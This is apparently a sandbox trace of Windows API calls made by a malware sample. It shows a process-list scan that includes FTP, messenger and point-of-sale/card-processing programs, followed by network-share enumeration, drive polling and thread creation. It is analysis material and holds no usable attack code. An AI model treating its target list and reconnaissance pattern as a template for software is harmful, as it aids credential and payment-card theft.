	[0097.003] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0097.004] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0097.004] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0097.005] lstrlenW (lpString="icq.exe") returned 7
	[0097.005] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0097.006] lstrlenW (lpString="leechftp.exe") returned 12
	[0097.006] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0097.007] lstrlenW (lpString="ncftp.exe") returned 9
	[0097.007] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0097.008] lstrlenW (lpString="notepad.exe") returned 11
	[0097.008] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0097.009] lstrlenW (lpString="operamail.exe") returned 13
	[0097.009] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0097.010] lstrlenW (lpString="pidgin.exe") returned 10
	[0097.010] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0097.011] lstrlenW (lpString="scriptftp.exe") returned 13
	[0097.011] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0097.012] lstrlenW (lpString="skype.exe") returned 9
	[0097.012] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0097.012] lstrlenW (lpString="smartftp.exe") returned 12
	[0097.012] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0097.014] lstrlenW (lpString="thunderbird.exe") returned 15
	[0097.014] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0097.015] lstrlenW (lpString="totalcmd.exe") returned 12
	[0097.015] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0097.015] lstrlenW (lpString="trillian.exe") returned 12
	[0097.015] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0097.016] lstrlenW (lpString="webdrive.exe") returned 12
	[0097.016] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0097.017] lstrlenW (lpString="whatsapp.exe") returned 12
	[0097.017] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0097.018] lstrlenW (lpString="winscp.exe") returned 10
	[0097.018] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0097.019] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0097.019] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0097.020] lstrlenW (lpString="active-charge.exe") returned 17
	[0097.020] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0097.020] lstrlenW (lpString="accupos.exe") returned 11
	[0097.020] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0097.029] lstrlenW (lpString="afr38.exe") returned 9
	[0097.029] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0097.030] lstrlenW (lpString="aldelo.exe") returned 10
	[0097.030] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0097.030] lstrlenW (lpString="ccv_server.exe") returned 14
	[0097.030] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0097.031] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0097.031] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0097.032] lstrlenW (lpString="creditservice.exe") returned 17
	[0097.032] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0097.033] lstrlenW (lpString="edcsvr.exe") returned 10
	[0097.033] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0097.034] lstrlenW (lpString="fpos.exe") returned 8
	[0097.034] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0097.034] lstrlenW (lpString="isspos.exe") returned 10
	[0097.034] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0097.035] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0097.035] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0097.036] lstrlenW (lpString="omnipos.exe") returned 11
	[0097.036] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0097.037] lstrlenW (lpString="spcwin.exe") returned 10
	[0097.037] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0097.037] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0097.037] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0097.038] lstrlenW (lpString="utg2.exe") returned 8
	[0097.038] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0097.039] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0097.039] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0097.040] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0097.040] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0097.040] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0097.040] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0097.502] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0097.502] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0097.503] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0097.503] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0097.504] lstrlenW (lpString="taskhostw.exe") returned 13
	[0097.504] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0097.504] lstrlenW (lpString="taskhostw.exe") returned 13
	[0097.504] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0097.513] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0097.513] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0097.514] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0097.514] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0097.514] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0097.514] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0097.517] lstrlenW (lpString="UsoClient.exe") returned 13
	[0097.518] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0097.518] lstrlenW (lpString="conhost.exe") returned 11
	[0097.518] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0097.519] lstrlenW (lpString="conhost.exe") returned 11
	[0097.519] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0097.520] lstrlenW (lpString="svchost.exe") returned 11
	[0097.520] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0097.520] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0097.520] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0097.521] lstrlenW (lpString="svchost.exe") returned 11
	[0097.521] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0097.522] lstrlenW (lpString="cmd.exe") returned 7
	[0097.522] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0097.522] lstrlenW (lpString="conhost.exe") returned 11
	[0097.522] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0097.523] lstrlenW (lpString="dllhost.exe") returned 11
	[0097.523] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0097.524] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0097.524] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0097.524] lstrlenW (lpString="LogonUI.exe") returned 11
	[0097.524] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0097.525] CloseHandle (hObject=0x358) returned 1
	[0097.525] Sleep (dwMilliseconds=0x1f4) 

Thread:
	id = 5
	os_tid = 0x10bc

	[0065.156] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff
	[0065.157] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5443d0 | out: hHeap=0x500000) returned 1

Thread:
	id = 6
	os_tid = 0x10b0

	[0065.158] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x566e30
	[0065.158] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x566e30, Size=0x20) returned 0x53e9a0
	[0065.158] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53e9a0, Size=0x40) returned 0x51a2a0
	[0065.158] GetLogicalDrives () returned 0x4
	[0065.158] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x59eb88
	[0065.158] GetComputerNameW (in: lpBuffer=0x59eb8c, nSize=0x270ff64 | out: lpBuffer="NQDPDE", nSize=0x270ff64) returned 1
	[0065.158] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1000) returned 0x5aeb90
	[0065.158] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x270ff34 | out: lphEnum=0x270ff34*=0x516378) returned 0x0
	[0065.159] WNetEnumResourceW (in: hEnum=0x516378, lpcCount=0x270ff30, lpBuffer=0x5aeb90, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x5aeb90, lpBufferSize=0x270ff38) returned 0x103
	[0065.160] WNetCloseEnum (hEnum=0x516378) returned 0x0
	[0065.160] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x270ff34 | out: lphEnum=0x270ff34*=0x3121250) returned 0x0
	[0069.232] WNetEnumResourceW (in: hEnum=0x3121250, lpcCount=0x270ff30, lpBuffer=0x5aeb90, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x5aeb90, lpBufferSize=0x270ff38) returned 0x0
	[0069.232] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1000) returned 0x3102988
	[0069.232] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5aeb90, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x5162b8) returned 0x0
	[0069.259] WNetEnumResourceW (in: hEnum=0x5162b8, lpcCount=0x270ff04, lpBuffer=0x3102988, lpBufferSize=0x270ff0c | out: lpcCount=0x270ff04, lpBuffer=0x3102988, lpBufferSize=0x270ff0c) returned 0x103
	[0069.259] WNetCloseEnum (hEnum=0x5162b8) returned 0x0
	[0069.259] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1000) returned 0x31079b0
	[0069.259] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5aebb0, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x0) returned 0x4b8
	[0088.077] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1000) returned 0x3e169e0
	[0088.077] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5aebd0, lphEnum=0x270ff08 | out: lphEnum=0x270ff08*=0x0) returned 0x4c6
	[0088.105] WNetEnumResourceW (in: hEnum=0x3121250, lpcCount=0x270ff30, lpBuffer=0x5aeb90, lpBufferSize=0x270ff38 | out: lpcCount=0x270ff30, lpBuffer=0x5aeb90, lpBufferSize=0x270ff38) returned 0x103
	[0088.105] WNetCloseEnum (hEnum=0x3121250) returned 0x0
	[0088.105] GetLogicalDrives () returned 0x4
	[0088.105] Sleep (dwMilliseconds=0x64) 
	[0088.601] GetLogicalDrives () returned 0x4
	[0088.601] Sleep (dwMilliseconds=0x64) 
	[0088.948] GetLogicalDrives () returned 0x4
	[0088.948] Sleep (dwMilliseconds=0x64) 
	[0089.783] GetLogicalDrives () returned 0x4
	[0089.783] Sleep (dwMilliseconds=0x64) 
	[0090.304] GetLogicalDrives () returned 0x4
	[0090.304] Sleep (dwMilliseconds=0x64) 
	[0090.723] GetLogicalDrives () returned 0x4
	[0090.723] Sleep (dwMilliseconds=0x64) 
	[0091.177] GetLogicalDrives () returned 0x4
	[0091.177] Sleep (dwMilliseconds=0x64) 
	[0091.774] GetLogicalDrives () returned 0x4
	[0091.774] Sleep (dwMilliseconds=0x64) 
	[0092.205] GetLogicalDrives () returned 0x4
	[0092.206] Sleep (dwMilliseconds=0x64) 
	[0092.599] GetLogicalDrives () returned 0x4
	[0092.599] Sleep (dwMilliseconds=0x64) 
	[0092.962] GetLogicalDrives () returned 0x4
	[0092.962] Sleep (dwMilliseconds=0x64) 
	[0093.328] GetLogicalDrives () returned 0x4
	[0093.328] Sleep (dwMilliseconds=0x64) 
	[0093.771] GetLogicalDrives () returned 0x4
	[0093.771] Sleep (dwMilliseconds=0x64) 
	[0094.016] GetLogicalDrives () returned 0x4
	[0094.016] Sleep (dwMilliseconds=0x64) 
	[0094.695] GetLogicalDrives () returned 0x4
	[0094.695] Sleep (dwMilliseconds=0x64) 
	[0095.147] GetLogicalDrives () returned 0x4
	[0095.147] Sleep (dwMilliseconds=0x64) 
	[0095.614] GetLogicalDrives () returned 0x4
	[0095.615] Sleep (dwMilliseconds=0x64) 
	[0096.093] GetLogicalDrives () returned 0x4
	[0096.093] Sleep (dwMilliseconds=0x64) 
	[0096.740] GetLogicalDrives () returned 0x4
	[0096.740] Sleep (dwMilliseconds=0x64) 
	[0096.959] GetLogicalDrives () returned 0x4
	[0096.959] Sleep (dwMilliseconds=0x64) 
	[0098.071] GetLogicalDrives () returned 0x4
	[0098.072] Sleep (dwMilliseconds=0x64) 

Thread:
	id = 7
	os_tid = 0x10c4

	[0065.162] GetTickCount () returned 0x1151375
	[0065.162] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x24) returned 0x515560
	[0065.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x515560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280
	[0065.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x515560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288
